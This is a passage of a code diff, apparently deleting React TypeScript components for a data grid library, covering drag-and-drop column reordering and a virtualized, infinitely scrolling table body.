||||||
DataGridTableBodyRowCell,
|
|
||||||
DataGridTableBodyRowExpandded,
|
|
||||||
DataGridTableBodyRowSkeleton,
|
|
||||||
DataGridTableBodyRowSkeletonCell,
|
|
||||||
DataGridTableEmpty,
|
|
||||||
DataGridTableFillBodyCell,
|
|
||||||
DataGridTableFillHeadCell,
|
|
||||||
DataGridTableFoot,
|
|
||||||
DataGridTableHead,
|
|
||||||
DataGridTableHeadRow,
|
|
||||||
DataGridTableHeadRowCell,
|
|
||||||
DataGridTableHeadRowCellResize,
|
|
||||||
DataGridTableRowSpacer,
|
|
||||||
DataGridTableViewport,
|
|
||||||
} from "@/components/reui/data-grid/data-grid-table"
|
|
||||||
import {
|
|
||||||
closestCenter,
|
|
||||||
DndContext,
|
|
||||||
KeyboardSensor,
|
|
||||||
Modifier,
|
|
||||||
MouseSensor,
|
|
||||||
TouchSensor,
|
|
||||||
useSensor,
|
|
||||||
useSensors,
|
|
||||||
type DragEndEvent,
|
|
||||||
} from "@dnd-kit/core"
|
|
||||||
import {
|
|
||||||
horizontalListSortingStrategy,
|
|
||||||
SortableContext,
|
|
||||||
sortableKeyboardCoordinates,
|
|
||||||
useSortable,
|
|
||||||
} from "@dnd-kit/sortable"
|
|
||||||
import { CSS } from "@dnd-kit/utilities"
|
|
||||||
import {
|
|
||||||
Cell,
|
|
||||||
flexRender,
|
|
||||||
Header,
|
|
||||||
HeaderGroup,
|
|
||||||
Row,
|
|
||||||
Table,
|
|
||||||
} from "@tanstack/react-table"
|
|
||||||
|
|
||||||
import { Button } from "@evofw/ui/components/button"
|
|
||||||
import { GripVerticalIcon } from "lucide-react"
|
|
||||||
|
|
||||||
function DataGridTableDndHeader<TData>({
|
|
||||||
header,
|
|
||||||
}: {
|
|
||||||
header: Header<TData, unknown>
|
|
||||||
}) {
|
|
||||||
const { props } = useDataGrid()
|
|
||||||
const { column } = header
|
|
||||||
|
|
||||||
// Check if column ordering is enabled for this column
|
|
||||||
const canOrder =
|
|
||||||
(column.columnDef as { enableColumnOrdering?: boolean })
|
|
||||||
.enableColumnOrdering !== false
|
|
||||||
|
|
||||||
const {
|
|
||||||
attributes,
|
|
||||||
isDragging,
|
|
||||||
listeners,
|
|
||||||
setNodeRef,
|
|
||||||
transform,
|
|
||||||
transition,
|
|
||||||
} = useSortable({
|
|
||||||
id: header.column.id,
|
|
||||||
})
|
|
||||||
|
|
||||||
const style: CSSProperties = {
|
|
||||||
opacity: isDragging ? 0.8 : 1,
|
|
||||||
position: "relative",
|
|
||||||
transform: CSS.Translate.toString(transform),
|
|
||||||
transition,
|
|
||||||
cursor: isDragging ? "grabbing" : undefined,
|
|
||||||
whiteSpace: "nowrap",
|
|
||||||
width: props.tableLayout?.columnsResizable
|
|
||||||
? `calc(var(--header-${header.id}-size) * 1px)`
|
|
||||||
: header.column.getSize(),
|
|
||||||
zIndex: isDragging ? 1 : 0,
|
|
||||||
}
|
|
||||||
|
|
||||||
return (
|
|
||||||
<DataGridTableHeadRowCell
|
|
||||||
header={header}
|
|
||||||
dndStyle={style}
|
|
||||||
dndRef={setNodeRef}
|
|
||||||
>
|
|
||||||
<div className="flex items-center justify-start gap-0.5">
|
|
||||||
{canOrder && (
|
|
||||||
<Button
|
|
||||||
size="icon-sm"
|
|
||||||
variant="ghost"
|
|
||||||
className={`-ms-2 size-6 ${isDragging ? "cursor-grabbing" : "cursor-grab active:cursor-grabbing"}`}
|
|
||||||
{...attributes}
|
|
||||||
{...listeners}
|
|
||||||
aria-label="Drag to reorder"
|
|
||||||
>
|
|
||||||
<GripVerticalIcon className="opacity-60 hover:opacity-100" aria-hidden="true" />
|
|
||||||
</Button>
|
|
||||||
)}
|
|
||||||
<div className="grow">
|
|
||||||
{header.isPlaceholder
|
|
||||||
? null
|
|
||||||
: flexRender(header.column.columnDef.header, header.getContext())}
|
|
||||||
</div>
|
|
||||||
{props.tableLayout?.columnsResizable && column.getCanResize() && (
|
|
||||||
<DataGridTableHeadRowCellResize header={header} />
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
</DataGridTableHeadRowCell>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
function DataGridTableDndCell<TData>({ cell }: { cell: Cell<TData, unknown> }) {
|
|
||||||
const { props } = useDataGrid()
|
|
||||||
const { isDragging, setNodeRef, transform, transition } = useSortable({
|
|
||||||
id: cell.column.id,
|
|
||||||
})
|
|
||||||
|
|
||||||
const style: CSSProperties = {
|
|
||||||
opacity: isDragging ? 0.8 : 1,
|
|
||||||
position: "relative",
|
|
||||||
transform: CSS.Translate.toString(transform),
|
|
||||||
transition,
|
|
||||||
cursor: isDragging ? "grabbing" : undefined,
|
|
||||||
width: props.tableLayout?.columnsResizable
|
|
||||||
? `calc(var(--col-${cell.column.id}-size) * 1px)`
|
|
||||||
: cell.column.getSize(),
|
|
||||||
zIndex: isDragging ? 1 : 0,
|
|
||||||
}
|
|
||||||
|
|
||||||
return (
|
|
||||||
<DataGridTableBodyRowCell cell={cell} dndStyle={style} dndRef={setNodeRef}>
|
|
||||||
{flexRender(cell.column.columnDef.cell, cell.getContext())}
|
|
||||||
</DataGridTableBodyRowCell>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
function DataGridTableDndBodyRows<TData>({ table }: { table: Table<TData> }) {
|
|
||||||
const { isLoading, props } = useDataGrid()
|
|
||||||
const pagination = table.getState().pagination
|
|
||||||
|
|
||||||
if (props.loadingMode === "skeleton" && isLoading && pagination?.pageSize) {
|
|
||||||
return (
|
|
||||||
<>
|
|
||||||
{Array.from({ length: pagination.pageSize }).map((_, rowIndex) => (
|
|
||||||
<DataGridTableBodyRowSkeleton key={rowIndex}>
|
|
||||||
{table.getVisibleFlatColumns().map((column, colIndex) => {
|
|
||||||
return (
|
|
||||||
<DataGridTableBodyRowSkeletonCell
|
|
||||||
column={column}
|
|
||||||
key={colIndex}
|
|
||||||
>
|
|
||||||
{column.columnDef.meta?.skeleton}
|
|
||||||
</DataGridTableBodyRowSkeletonCell>
|
|
||||||
)
|
|
||||||
})}
|
|
||||||
<DataGridTableFillBodyCell />
|
|
||||||
</DataGridTableBodyRowSkeleton>
|
|
||||||
))}
|
|
||||||
</>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!table.getRowModel().rows.length) return <DataGridTableEmpty />
|
|
||||||
|
|
||||||
return (
|
|
||||||
<>
|
|
||||||
{table.getRowModel().rows.map((row: Row<TData>) => {
|
|
||||||
return (
|
|
||||||
<Fragment key={row.id}>
|
|
||||||
<DataGridTableBodyRow row={row}>
|
|
||||||
<SortableContext
|
|
||||||
items={table.getState().columnOrder}
|
|
||||||
strategy={horizontalListSortingStrategy}
|
|
||||||
>
|
|
||||||
{row.getVisibleCells().map((cell: Cell<TData, unknown>) => (
|
|
||||||
<DataGridTableDndCell cell={cell} key={cell.id} />
|
|
||||||
))}
|
|
||||||
</SortableContext>
|
|
||||||
<DataGridTableFillBodyCell />
|
|
||||||
</DataGridTableBodyRow>
|
|
||||||
{row.getIsExpanded() && <DataGridTableBodyRowExpandded row={row} />}
|
|
||||||
</Fragment>
|
|
||||||
)
|
|
||||||
})}
|
|
||||||
</>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Memoized body rows: skip re-renders during active column resize.
|
|
||||||
* Column widths update via CSS variables on the <table> element,
|
|
||||||
* so the browser handles width changes without React re-renders.
|
|
||||||
*/
|
|
||||||
const MemoizedDataGridTableDndBodyRows = memo(
|
|
||||||
DataGridTableDndBodyRows,
|
|
||||||
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
|
|
||||||
) as typeof DataGridTableDndBodyRows
|
|
||||||
|
|
||||||
function DataGridTableDnd<TData>({
|
|
||||||
handleDragEnd,
|
|
||||||
footerContent,
|
|
||||||
}: {
|
|
||||||
handleDragEnd: (event: DragEndEvent) => void
|
|
||||||
footerContent?: ReactNode
|
|
||||||
}) {
|
|
||||||
const { table, props } = useDataGrid()
|
|
||||||
const containerRef = useRef<HTMLDivElement>(null)
|
|
||||||
const [isDraggingColumn, setIsDraggingColumn] = useState(false)
|
|
||||||
|
|
||||||
const sensors = useSensors(
|
|
||||||
useSensor(MouseSensor, {}),
|
|
||||||
useSensor(TouchSensor, {}),
|
|
||||||
// Keyboard reordering moves one sortable position per keypress instead
|
|
||||||
// of the sensor's raw 25px default.
|
|
||||||
useSensor(KeyboardSensor, {
|
|
||||||
coordinateGetter: sortableKeyboardCoordinates,
|
|
||||||
})
|
|
||||||
)
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
if (!isDraggingColumn) return
|
|
||||||
|
|
||||||
const { body, documentElement } = document
|
|
||||||
const previousBodyCursor = body.style.cursor
|
|
||||||
const previousDocumentCursor = documentElement.style.cursor
|
|
||||||
|
|
||||||
body.style.cursor = "grabbing"
|
|
||||||
documentElement.style.cursor = "grabbing"
|
|
||||||
|
|
||||||
return () => {
|
|
||||||
body.style.cursor = previousBodyCursor
|
|
||||||
documentElement.style.cursor = previousDocumentCursor
|
|
||||||
}
|
|
||||||
}, [isDraggingColumn])
|
|
||||||
|
|
||||||
// Custom modifier to restrict dragging within table bounds with edge offset
|
|
||||||
const modifiers = useMemo(() => {
|
|
||||||
const restrictToTableBounds: Modifier = ({
|
|
||||||
draggingNodeRect,
|
|
||||||
transform,
|
|
||||||
}) => {
|
|
||||||
if (!draggingNodeRect || !containerRef.current) {
|
|
||||||
return { ...transform, y: 0 }
|
|
||||||
}
|
|
||||||
|
|
||||||
const containerRect = containerRef.current.getBoundingClientRect()
|
|
||||||
const edgeOffset = 0
|
|
||||||
|
|
||||||
const minX = containerRect.left - draggingNodeRect.left - edgeOffset
|
|
||||||
const maxX =
|
|
||||||
containerRect.right -
|
|
||||||
draggingNodeRect.left -
|
|
||||||
draggingNodeRect.width +
|
|
||||||
edgeOffset
|
|
||||||
|
|
||||||
return {
|
|
||||||
...transform,
|
|
||||||
x: Math.min(Math.max(transform.x, minX), maxX),
|
|
||||||
y: 0, // Lock vertical movement
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return [restrictToTableBounds]
|
|
||||||
}, [])
|
|
||||||
|
|
||||||
return (
|
|
||||||
<DndContext
|
|
||||||
collisionDetection={closestCenter}
|
|
||||||
id={useId()}
|
|
||||||
modifiers={modifiers}
|
|
||||||
onDragCancel={() => setIsDraggingColumn(false)}
|
|
||||||
onDragEnd={(event) => {
|
|
||||||
setIsDraggingColumn(false)
|
|
||||||
handleDragEnd(event)
|
|
||||||
}}
|
|
||||||
onDragStart={() => setIsDraggingColumn(true)}
|
|
||||||
sensors={sensors}
|
|
||||||
>
|
|
||||||
<DataGridTableViewport
|
|
||||||
viewportRef={containerRef}
|
|
||||||
className={
|
|
||||||
isDraggingColumn
|
|
||||||
? "relative cursor-grabbing [&_*]:cursor-grabbing!"
|
|
||||||
: "relative"
|
|
||||||
}
|
|
||||||
>
|
|
||||||
<DataGridTableBase>
|
|
||||||
<DataGridTableHead>
|
|
||||||
{table
|
|
||||||
.getHeaderGroups()
|
|
||||||
.map((headerGroup: HeaderGroup<TData>, index) => {
|
|
||||||
return (
|
|
||||||
<DataGridTableHeadRow key={index} rowId={headerGroup.id}>
|
|
||||||
<SortableContext
|
|
||||||
items={table.getState().columnOrder}
|
|
||||||
strategy={horizontalListSortingStrategy}
|
|
||||||
>
|
|
||||||
{headerGroup.headers.map((header) => (
|
|
||||||
<DataGridTableDndHeader
|
|
||||||
header={header}
|
|
||||||
key={header.id}
|
|
||||||
/>
|
|
||||||
))}
|
|
||||||
</SortableContext>
|
|
||||||
<DataGridTableFillHeadCell />
|
|
||||||
</DataGridTableHeadRow>
|
|
||||||
)
|
|
||||||
})}
|
|
||||||
</DataGridTableHead>
|
|
||||||
|
|
||||||
{(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
|
|
||||||
<DataGridTableRowSpacer />
|
|
||||||
)}
|
|
||||||
|
|
||||||
<DataGridTableBody>
|
|
||||||
<MemoizedDataGridTableDndBodyRows table={table} />
|
|
||||||
</DataGridTableBody>
|
|
||||||
|
|
||||||
{footerContent && (
|
|
||||||
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
|
|
||||||
)}
|
|
||||||
</DataGridTableBase>
|
|
||||||
</DataGridTableViewport>
|
|
||||||
</DndContext>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
export { DataGridTableDnd }
|
|
||||||
@@ -1,634 +0,0 @@
|
|||||||
"use client"
|
|
||||||
"use no memo"
|
|
||||||
|
|
||||||
import {
|
|
||||||
CSSProperties,
|
|
||||||
memo,
|
|
||||||
ReactNode,
|
|
||||||
useCallback,
|
|
||||||
useEffect,
|
|
||||||
useRef,
|
|
||||||
useState,
|
|
||||||
} from "react"
|
|
||||||
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
|
|
||||||
import {
|
|
||||||
DataGridTableBase,
|
|
||||||
DataGridTableBody,
|
|
||||||
DataGridTableEmpty,
|
|
||||||
DataGridTableFillBodyCell,
|
|
||||||
DataGridTableFillHeadCell,
|
|
||||||
DataGridTableFoot,
|
|
||||||
DataGridTableHead,
|
|
||||||
DataGridTableHeadRow,
|
|
||||||
DataGridTableHeadRowCell,
|
|
||||||
DataGridTableHeadRowCellResize,
|
|
||||||
DataGridTableRenderedRow,
|
|
||||||
DataGridTableRowSpacer,
|
|
||||||
DataGridTableViewport,
|
|
||||||
getDataGridScrollAreaViewport,
|
|
||||||
getDataGridTableMergedHeaderGroups,
|
|
||||||
getDataGridTableRowSections,
|
|
||||||
getPinningStyles,
|
|
||||||
hasDataGridTableRightPinnedColumns,
|
|
||||||
} from "@/components/reui/data-grid/data-grid-table"
|
|
||||||
import { Column, flexRender, Row, Table } from "@tanstack/react-table"
|
|
||||||
import {
|
|
||||||
useVirtualizer,
|
|
||||||
VirtualItem,
|
|
||||||
Virtualizer,
|
|
||||||
VirtualizerOptions,
|
|
||||||
} from "@tanstack/react-virtual"
|
|
||||||
|
|
||||||
import { cn } from "@evofw/ui/lib/utils"
|
|
||||||
import { Spinner } from "@evofw/ui/components/spinner"
|
|
||||||
|
|
||||||
type DataGridTableVirtualScrollElements = {
|
|
||||||
containerElement: HTMLDivElement | null
|
|
||||||
scrollElement: HTMLElement | null
|
|
||||||
}
|
|
||||||
|
|
||||||
type DataGridTableVirtualizerInstance = Virtualizer<
|
|
||||||
HTMLElement,
|
|
||||||
HTMLTableRowElement
|
|
||||||
>
|
|
||||||
|
|
||||||
type DataGridTableVirtualizerOptions<TData> = Omit<
|
|
||||||
VirtualizerOptions<HTMLElement, HTMLTableRowElement>,
|
|
||||||
"count" | "estimateSize" | "getItemKey" | "getScrollElement"
|
|
||||||
> & {
|
|
||||||
estimateSize?: (index: number, row: Row<TData>) => number
|
|
||||||
getItemKey?: (index: number, row: Row<TData>) => string | number
|
|
||||||
getScrollElement?: (
|
|
||||||
elements: DataGridTableVirtualScrollElements
|
|
||||||
) => HTMLElement | null
|
|
||||||
}
|
|
||||||
|
|
||||||
interface DataGridTableVirtualProps<TData> {
|
|
||||||
height?: number | string
|
|
||||||
estimateSize?: number
|
|
||||||
overscan?: number
|
|
||||||
footerContent?: ReactNode
|
|
||||||
renderHeader?: boolean
|
|
||||||
onFetchMore?: () => void
|
|
||||||
isFetchingMore?: boolean
|
|
||||||
hasMore?: boolean
|
|
||||||
fetchMoreOffset?: number
|
|
||||||
virtualizerOptions?: DataGridTableVirtualizerOptions<TData>
|
|
||||||
}
|
|
||||||
|
|
||||||
interface VirtualBodyProps<TData> {
|
|
||||||
table: Table<TData>
|
|
||||||
topRows: Row<TData>[]
|
|
||||||
centerRows: Row<TData>[]
|
|
||||||
bottomRows: Row<TData>[]
|
|
||||||
virtualItems: VirtualItem[]
|
|
||||||
totalSize: number
|
|
||||||
isVirtualizationEnabled: boolean
|
|
||||||
isInfiniteMode: boolean
|
|
||||||
isFetchingMore: boolean
|
|
||||||
hasMore?: boolean
|
|
||||||
loadingMoreMessage: ReactNode
|
|
||||||
allRowsLoadedMessage: ReactNode
|
|
||||||
measureRowRef?: (element: HTMLTableRowElement | null) => void
|
|
||||||
}
|
|
||||||
|
|
||||||
function DataGridTableVirtualPinnedPlaceholderCell<TData>({
|
|
||||||
column,
|
|
||||||
}: {
|
|
||||||
column: Column<TData>
|
|
||||||
}) {
|
|
||||||
const { props } = useDataGrid()
|
|
||||||
const isPinned = column.getIsPinned()
|
|
||||||
const isLastLeftPinned = isPinned === "left" && column.getIsLastColumn("left")
|
|
||||||
const isFirstRightPinned =
|
|
||||||
isPinned === "right" && column.getIsFirstColumn("right")
|
|
||||||
|
|
||||||
return (
|
|
||||||
<td
|
|
||||||
aria-hidden="true"
|
|
||||||
style={{
|
|
||||||
...(props.tableLayout?.columnsPinnable &&
|
|
||||||
column.getCanPin() &&
|
|
||||||
getPinningStyles(column)),
|
|
||||||
...(props.tableLayout?.columnsResizable && {
|
|
||||||
width: `calc(var(--col-${column.id}-size) * 1px)`,
|
|
||||||
}),
|
|
||||||
}}
|
|
||||||
data-pinned={isPinned || undefined}
|
|
||||||
data-last-col={
|
|
||||||
isLastLeftPinned ? "left" : isFirstRightPinned ? "right" : undefined
|
|
||||||
}
|
|
||||||
className={cn(
|
|
||||||
"p-0",
|
|
||||||
props.tableLayout?.cellBorder && "border-e",
|
|
||||||
props.tableLayout?.columnsPinnable &&
|
|
||||||
column.getCanPin() &&
|
|
||||||
"data-pinned:bg-background data-pinned:isolate [&[data-pinned=left][data-last-col=left]]:shadow-[inset_-1px_0_0_0_var(--border)] [&[data-pinned=right][data-last-col=right]]:shadow-[inset_1px_0_0_0_var(--border)]"
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
function DataGridTableVirtualUtilityRow<TData>({
|
|
||||||
table,
|
|
||||||
children,
|
|
||||||
centerCellClassName,
|
|
||||||
centerCellStyle,
|
|
||||||
rowClassName,
|
|
||||||
ariaHidden,
|
|
||||||
}: {
|
|
||||||
table: Table<TData>
|
|
||||||
children: ReactNode
|
|
||||||
centerCellClassName?: string
|
|
||||||
centerCellStyle?: CSSProperties
|
|
||||||
rowClassName?: string
|
|
||||||
ariaHidden?: boolean
|
|
||||||
}) {
|
|
||||||
const { props } = useDataGrid()
|
|
||||||
const leftVisibleColumns = table.getLeftVisibleLeafColumns()
|
|
||||||
const centerVisibleColumns = table.getCenterVisibleLeafColumns()
|
|
||||||
const rightVisibleColumns = table.getRightVisibleLeafColumns()
|
|
||||||
const hasRightPinnedColumns = hasDataGridTableRightPinnedColumns(table)
|
|
||||||
|
|
||||||
return (
|
|
||||||
<tr aria-hidden={ariaHidden || undefined} className={rowClassName}>
|
|
||||||
{leftVisibleColumns.map((column) => (
|
|
||||||
<DataGridTableVirtualPinnedPlaceholderCell
|
|
||||||
column={column}
|
|
||||||
key={column.id}
|
|
||||||
/>
|
|
||||||
))}
|
|
||||||
<td
|
|
||||||
colSpan={Math.max(centerVisibleColumns.length, 1)}
|
|
||||||
className={centerCellClassName}
|
|
||||||
style={centerCellStyle}
|
|
||||||
>
|
|
||||||
{children}
|
|
||||||
</td>
|
|
||||||
{props.tableLayout?.columnsResizable && hasRightPinnedColumns ? (
|
|
||||||
<DataGridTableFillBodyCell />
|
|
||||||
) : null}
|
|
||||||
{rightVisibleColumns.map((column) => (
|
|
||||||
<DataGridTableVirtualPinnedPlaceholderCell
|
|
||||||
column={column}
|
|
||||||
key={column.id}
|
|
||||||
/>
|
|
||||||
))}
|
|
||||||
{props.tableLayout?.columnsResizable && !hasRightPinnedColumns ? (
|
|
||||||
<DataGridTableFillBodyCell />
|
|
||||||
) : null}
|
|
||||||
</tr>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
function DataGridTableVirtualSpacer<TData>({
|
|
||||||
table,
|
|
||||||
height,
|
|
||||||
}: {
|
|
||||||
table: Table<TData>
|
|
||||||
height: number
|
|
||||||
}) {
|
|
||||||
if (height <= 0) return null
|
|
||||||
|
|
||||||
return (
|
|
||||||
<DataGridTableVirtualUtilityRow
|
|
||||||
table={table}
|
|
||||||
ariaHidden
|
|
||||||
centerCellClassName="p-0"
|
|
||||||
centerCellStyle={{ height, padding: 0 }}
|
|
||||||
>
|
|
||||||
{null}
|
|
||||||
</DataGridTableVirtualUtilityRow>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
function DataGridTableVirtualStatusRow<TData>({
|
|
||||||
table,
|
|
||||||
children,
|
|
||||||
className,
|
|
||||||
}: {
|
|
||||||
table: Table<TData>
|
|
||||||
children: ReactNode
|
|
||||||
className?: string
|
|
||||||
}) {
|
|
||||||
return (
|
|
||||||
<DataGridTableVirtualUtilityRow
|
|
||||||
table={table}
|
|
||||||
centerCellClassName={cn(
|
|
||||||
"text-muted-foreground py-4 text-center text-sm",
|
|
||||||
className
|
|
||||||
)}
|
|
||||||
>
|
|
||||||
{children}
|
|
||||||
</DataGridTableVirtualUtilityRow>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
function DataGridTableVirtualBody<TData>({
|
|
||||||
table,
|
|
||||||
topRows,
|
|
||||||
centerRows,
|
|
||||||
bottomRows,
|
|
||||||
virtualItems,
|
|
||||||
totalSize,
|
|
||||||
isVirtualizationEnabled,
|
|
||||||
isInfiniteMode,
|
|
||||||
isFetchingMore,
|
|
||||||
hasMore,
|
|
||||||
loadingMoreMessage,
|
|
||||||
allRowsLoadedMessage,
|
|
||||||
measureRowRef,
|
|
||||||
}: VirtualBodyProps<TData>) {
|
|
||||||
const { isLoading } = useDataGrid()
|
|
||||||
const totalRows = topRows.length + centerRows.length + bottomRows.length
|
|
||||||
|
|
||||||
if (!totalRows) {
|
|
||||||
// Initial load must not flash the empty state as if the query returned
|
|
||||||
// nothing.
|
|
||||||
if (isLoading) {
|
|
||||||
return (
|
|
||||||
<DataGridTableVirtualStatusRow table={table}>
|
|
||||||
<div className="flex items-center justify-center gap-2">
|
|
||||||
<Spinner className="size-4 opacity-60" />
|
|
||||||
{loadingMoreMessage}
|
|
||||||
</div>
|
|
||||||
</DataGridTableVirtualStatusRow>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
return <DataGridTableEmpty />
|
|
||||||
}
|
|
||||||
|
|
||||||
const hasCenterRows = centerRows.length > 0
|
|
||||||
const showFetchingRow = isInfiniteMode && isFetchingMore
|
|
||||||
const showCompleteRow = isInfiniteMode && hasMore === false && totalRows > 0
|
|
||||||
const hasMiddleSection = hasCenterRows || showFetchingRow || showCompleteRow
|
|
||||||
const leadingSpacerHeight =
|
|
||||||
isVirtualizationEnabled && hasCenterRows && virtualItems.length > 0
|
|
||||||
? (virtualItems[0]?.start ?? 0)
|
|
||||||
: 0
|
|
||||||
const trailingSpacerHeight =
|
|
||||||
isVirtualizationEnabled && hasCenterRows && virtualItems.length > 0
|
|
||||||
? Math.max(
|
|
||||||
0,
|
|
||||||
totalSize - (virtualItems[virtualItems.length - 1]?.end ?? 0)
|
|
||||||
)
|
|
||||||
: 0
|
|
||||||
|
|
||||||
const renderedRows: ReactNode[] = []
|
|
||||||
|
|
||||||
topRows.forEach((row, index) => {
|
|
||||||
renderedRows.push(
|
|
||||||
<DataGridTableRenderedRow
|
|
||||||
key={row.id}
|
|
||||||
row={row}
|
|
||||||
pinnedBoundary={
|
|
||||||
index === topRows.length - 1 && hasMiddleSection ? "top" : undefined
|
|
||||||
}
|
|
||||||
/>
|
|
||||||
)
|
|
||||||
})
|
|
||||||
|
|
||||||
if (isVirtualizationEnabled) {
|
|
||||||
if (leadingSpacerHeight > 0) {
|
|
||||||
renderedRows.push(
|
|
||||||
<DataGridTableVirtualSpacer
|
|
||||||
key="virtual-spacer-start"
|
|
||||||
table={table}
|
|
||||||
height={leadingSpacerHeight}
|
|
||||||
/>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
virtualItems.forEach((virtualRow) => {
|
|
||||||
const row = centerRows[virtualRow.index]
|
|
||||||
|
|
||||||
if (!row) return
|
|
||||||
|
|
||||||
renderedRows.push(
|
|
||||||
<DataGridTableRenderedRow
|
|
||||||
key={row.id}
|
|
||||||
row={row}
|
|
||||||
rowRef={measureRowRef}
|
|
||||||
rowIndex={virtualRow.index}
|
|
||||||
/>
|
|
||||||
)
|
|
||||||
})
|
|
||||||
|
|
||||||
if (trailingSpacerHeight > 0) {
|
|
||||||
renderedRows.push(
|
|
||||||
<DataGridTableVirtualSpacer
|
|
||||||
key="virtual-spacer-end"
|
|
||||||
table={table}
|
|
||||||
height={trailingSpacerHeight}
|
|
||||||
/>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
centerRows.forEach((row) => {
|
|
||||||
renderedRows.push(<DataGridTableRenderedRow key={row.id} row={row} />)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
if (showFetchingRow) {
|
|
||||||
renderedRows.push(
|
|
||||||
<DataGridTableVirtualStatusRow key="virtual-status-loading" table={table}>
|
|
||||||
<div className="flex items-center justify-center gap-2">
|
|
||||||
<Spinner className="size-4 opacity-60" />
|
|
||||||
{loadingMoreMessage}
|
|
||||||
</div>
|
|
||||||
</DataGridTableVirtualStatusRow>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
if (showCompleteRow) {
|
|
||||||
renderedRows.push(
|
|
||||||
<DataGridTableVirtualStatusRow
|
|
||||||
key="virtual-status-complete"
|
|
||||||
table={table}
|
|
||||||
className="py-3 text-xs"
|
|
||||||
>
|
|
||||||
{allRowsLoadedMessage}
|
|
||||||
</DataGridTableVirtualStatusRow>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
bottomRows.forEach((row, index) => {
|
|
||||||
renderedRows.push(
|
|
||||||
<DataGridTableRenderedRow
|
|
||||||
key={row.id}
|
|
||||||
row={row}
|
|
||||||
pinnedBoundary={
|
|
||||||
index === 0 && (topRows.length > 0 || hasMiddleSection)
|
|
||||||
? "bottom"
|
|
||||||
: undefined
|
|
||||||
}
|
|
||||||
/>
|
|
||||||
)
|
|
||||||
})
|
|
||||||
|
|
||||||
return <>{renderedRows}</>
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Memoized virtual body: skip re-renders during active column resize.
|
|
||||||
* Column widths update via CSS variables on the <table> element,
|
|
||||||
* so the browser handles width changes without React re-renders.
|
|
||||||
*/
|
|
||||||
const MemoizedVirtualBody = memo(
|
|
||||||
DataGridTableVirtualBody,
|
|
||||||
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
|
|
||||||
) as typeof DataGridTableVirtualBody
|
|
||||||
|
|
||||||
function DataGridTableVirtual<TData>({
|
|
||||||
height,
|
|
||||||
estimateSize = 48,
|
|
||||||
overscan = 10,
|
|
||||||
footerContent,
|
|
||||||
renderHeader = true,
|
|
||||||
onFetchMore,
|
|
||||||
isFetchingMore = false,
|
|
||||||
hasMore,
|
|
||||||
fetchMoreOffset = 0,
|
|
||||||
virtualizerOptions,
|
|
||||||
}: DataGridTableVirtualProps<TData>) {
|
|
||||||
const { table, props } = useDataGrid()
|
|
||||||
const mergedHeaderGroups = getDataGridTableMergedHeaderGroups(table)
|
|
||||||
const hasRightPinnedColumns = hasDataGridTableRightPinnedColumns(table)
|
|
||||||
const { topRows, centerRows, bottomRows } = getDataGridTableRowSections(
|
|
||||||
table,
|
|
||||||
props.tableLayout?.rowsPinnable
|
|
||||||
)
|
|
||||||
const isInfiniteMode = typeof onFetchMore === "function"
|
|
||||||
const [viewportElements, setViewportElements] =
|
|
||||||
useState<DataGridTableVirtualScrollElements>({
|
|
||||||
containerElement: null,
|
|
||||||
scrollElement: null,
|
|
||||||
})
|
|
||||||
|
|
||||||
const {
|
|
||||||
estimateSize: customEstimateSize,
|
|
||||||
getItemKey: customGetItemKey,
|
|
||||||
getScrollElement: customGetScrollElement,
|
|
||||||
measureElement: customMeasureElement,
|
|
||||||
overscan: customOverscan,
|
|
||||||
...virtualizerOptionsRest
|
|
||||||
} = virtualizerOptions ?? {}
|
|
||||||
|
|
||||||
const isVirtualizationEnabled = virtualizerOptions?.enabled !== false
|
|
||||||
const loadingMoreMessage =
|
|
||||||
props.fetchingMoreMessage || props.loadingMessage || "Loading..."
|
|
||||||
const allRowsLoadedMessage =
|
|
||||||
props.allRowsLoadedMessage || "All records loaded"
|
|
||||||
|
|
||||||
const handleViewportRef = useCallback((node: HTMLDivElement | null) => {
|
|
||||||
setViewportElements({
|
|
||||||
containerElement: node,
|
|
||||||
scrollElement: node
|
|
||||||
? (getDataGridScrollAreaViewport(node) ?? node)
|
|
||||||
: null,
|
|
||||||
})
|
|
||||||
}, [])
|
|
||||||
|
|
||||||
const usesExternalScrollArea =
|
|
||||||
viewportElements.scrollElement !== null &&
|
|
||||||
viewportElements.scrollElement !== viewportElements.containerElement
|
|
||||||
|
|
||||||
const resolveScrollElement = useCallback(() => {
|
|
||||||
if (customGetScrollElement) {
|
|
||||||
return customGetScrollElement(viewportElements)
|
|
||||||
}
|
|
||||||
|
|
||||||
return viewportElements.scrollElement
|
|
||||||
}, [customGetScrollElement, viewportElements])
|
|
||||||
|
|
||||||
const resolveItemKey = useCallback(
|
|
||||||
(index: number) => {
|
|
||||||
const row = centerRows[index]
|
|
||||||
|
|
||||||
if (!row) return index
|
|
||||||
|
|
||||||
return customGetItemKey?.(index, row) ?? row.id ?? index
|
|
||||||
},
|
|
||||||
[centerRows, customGetItemKey]
|
|
||||||
)
|
|
||||||
|
|
||||||
const resolveEstimateSize = useCallback(
|
|
||||||
